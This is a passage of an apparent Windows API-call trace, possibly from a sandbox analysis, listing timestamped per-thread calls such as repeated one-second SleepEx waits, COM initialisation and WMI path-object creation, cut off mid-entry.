[0049.801] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0050.841] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0051.847] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0052.889] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0053.903] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0054.917] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0055.932] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0056.946] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0057.960] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0059.005] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0060.019] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0061.048] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0062.094] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0063.110] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0064.121] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0065.136] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0066.149] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0067.171] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0068.177] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0069.191] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0070.216] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0071.236] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0072.267] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0073.404] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0074.449] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0075.494] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0076.508] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0077.537] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0078.583] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0079.598] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0080.611] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0081.656] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0082.685] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0083.731] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0084.761] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0085.774] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0086.800] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0087.820] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0088.832] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0089.847] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0090.891] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0091.905] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0092.919] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0093.949] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0094.978] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0096.008] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0097.038] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0098.067] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0099.112] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0100.142] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0101.185] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0102.217] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0103.233] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0104.260] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0105.275] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0106.307] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0107.333] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0108.349] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0109.377] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0110.411] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0111.420] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0112.466] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0113.511] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0114.556] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0115.570] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0116.615] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0117.630] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0118.652] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0119.657] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0120.687] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0121.701] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0122.716] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0123.776] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0124.821] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0125.857] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0126.876] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0127.879] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0128.925] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0129.938] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0130.953] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0131.991] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0133.019] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0134.041] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0135.070] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0136.085] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0137.108] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0138.377] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0140.562] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0141.765] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0142.827] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0143.837] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0151.079] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0152.461] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0153.646] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0154.822] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0155.914] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0157.547] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0159.377] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0160.930] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0162.544] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0164.133] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0165.147] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0166.161] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0167.175] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0168.745] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0169.819] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0171.126] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0172.618] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0174.373] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0175.572] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0177.123] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0178.259] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0179.347] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0180.525] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0181.901] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0182.917] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0184.617] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0185.718] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0186.841] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0192.588] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0193.601] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0196.037] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0197.250] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0198.346] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0199.376] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0200.393] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0201.402] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0202.443] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0203.454] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0204.471] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0205.501] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0206.503] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0207.541] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0208.546] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0209.588] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0210.622] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0211.905] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0212.914] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0213.928] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0214.942] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0215.956] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) Thread: id = 7 os_tid = 0x978 [0035.765] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0035.824] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0036.837] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0039.130] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0040.145] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0041.182] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0042.220] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0043.264] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0044.278] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0045.302] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0046.339] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0047.351] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0048.368] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0049.379] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0050.425] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0051.470] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0052.501] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0053.545] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0054.559] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0055.577] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0056.618] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0057.632] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0058.646] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0059.691] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0060.705] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0061.719] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0062.736] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0063.747] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0064.761] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0065.798] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0066.817] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0067.820] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0068.836] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0069.877] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0070.896] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0071.927] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0072.969] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0073.981] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0075.036] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0076.042] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0077.054] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0078.077] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0079.106] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0080.143] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0081.188] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0082.227] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0083.263] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0084.292] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0085.338] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0086.367] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0087.392] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0088.395] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0089.440] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0090.487] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0091.515] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0092.545] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0093.559] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0094.604] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0095.649] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0096.663] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0097.708] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0098.722] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0099.737] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0100.750] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0101.764] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0102.778] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0103.792] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0104.828] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0105.852] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0106.881] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0107.895] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0108.924] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0109.970] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0110.999] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0112.029] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0113.059] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0114.104] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0115.149] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0116.210] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0117.239] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0118.284] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0119.330] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0120.359] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0121.389] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0122.430] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0123.448] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0124.493] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0125.507] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0126.553] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0127.567] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0128.597] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0129.611] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0130.640] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0131.748] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0132.766] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0133.779] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0134.798] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0135.803] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0136.833] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0138.005] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0140.094] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0141.412] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0142.420] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0143.487] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0149.655] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0151.078] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0152.460] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0153.646] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0154.822] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0155.914] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0157.547] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0159.377] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0160.930] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0162.544] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0164.133] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0165.147] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0166.161] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0167.175] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0168.744] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0169.819] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0171.126] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0172.618] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0174.373] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0175.572] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0177.123] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0178.259] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0179.347] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0180.524] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0181.901] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0182.916] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0184.617] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0185.717] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0186.841] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0192.588] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0193.601] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0196.037] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0197.250] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0198.346] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0199.376] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0200.393] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0201.402] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0202.443] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0203.454] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0204.470] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0205.501] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0206.503] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0207.541] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0208.546] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0209.588] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0210.622] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0211.905] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0212.914] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0213.928] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0214.942] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0 [0215.956] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) Thread: id = 8 os_tid = 0x97c Thread: id = 9 os_tid = 0xa48 Thread: id = 10 os_tid = 0xa4c Thread: id = 11 os_tid = 0xb10 [0174.373] CoGetContextToken (in: pToken=0x1c34f660 | out: pToken=0x1c34f660) returned 0x0 [0174.373] IUnknown:QueryInterface (in: This=0x1ac22ae0, riid=0x7fef414eb80*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c34f698 | out: ppvObject=0x1c34f698*=0x1ac22af8) returned 0x0 [0174.373] IComThreadingInfo:GetCurrentThreadType (in: This=0x1ac22af8, pThreadType=0x1c34f708 | out: pThreadType=0x1c34f708*=0) returned 0x0 [0174.373] IUnknown:Release (This=0x1ac22af8) returned 0x0 Thread: id = 32 os_tid = 0xba8 Thread: id = 33 os_tid = 0xbec Thread: id = 34 os_tid = 0xbf4 Thread: id = 35 os_tid = 0xbf8 Thread: id = 38 os_tid = 0x7e0 [0182.825] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0182.898] IIDFromString (in: lpsz="{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}", lpiid=0x1df0e998 | out: lpiid=0x1df0e998) returned 0x0 [0182.952] CoGetClassObject (in: rclsid=0x1da22758*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef41762c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1df0e568 | out: ppv=0x1df0e568*=0x1c2c1370) returned 0x0 [0183.941] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c2c1370, riid=0x7fef419c610*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1df0e5c0 | out: ppvObject=0x1df0e5c0*=0x0) returned 0x80004002 [0183.962] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c2c1370, pUnkOuter=0x0, riid=0x7fef414c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1df0e570 | out: ppvObject=0x1df0e570*=0x1c2c1390) returned 0x0 [0183.965] WbemDefPath:IUnknown:Release (This=0x1c2c1370) returned 0x0 [0183.965] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c2c1390, riid=0x7fef414c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1df0e3d0 | out: ppvObject=0x1df0e3d0*=0x1c2c1390) returned 0x0 [0183.966] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c2c1390, riid=0x7fef4179740*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1df0e460 | out: ppvObject=0x1df0e460*=0x0) returned 0x80004002 [0183.966] WbemDefPath:IUnknown:AddRef (This=0x1c2c1390) returned 0x3 [0183.966] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c2c1390, riid=0x7fef4179750*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1df0db18 | out: ppvObject=0x1df0db18*=0x0) returned 0x80004002 [0183.966] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c2c1390, riid=0x7fef4179760*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1df0dab0 | out: ppvObject=0x1df0dab0*=0x0) returned 0x80004002 [0183.966] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c2c1390, riid=0x7fef414c7d8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1df0daa0 | out: ppvObject=0x1df0daa0*=0x1da273b0) returned 0x0 [0183.966] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1da273b0, 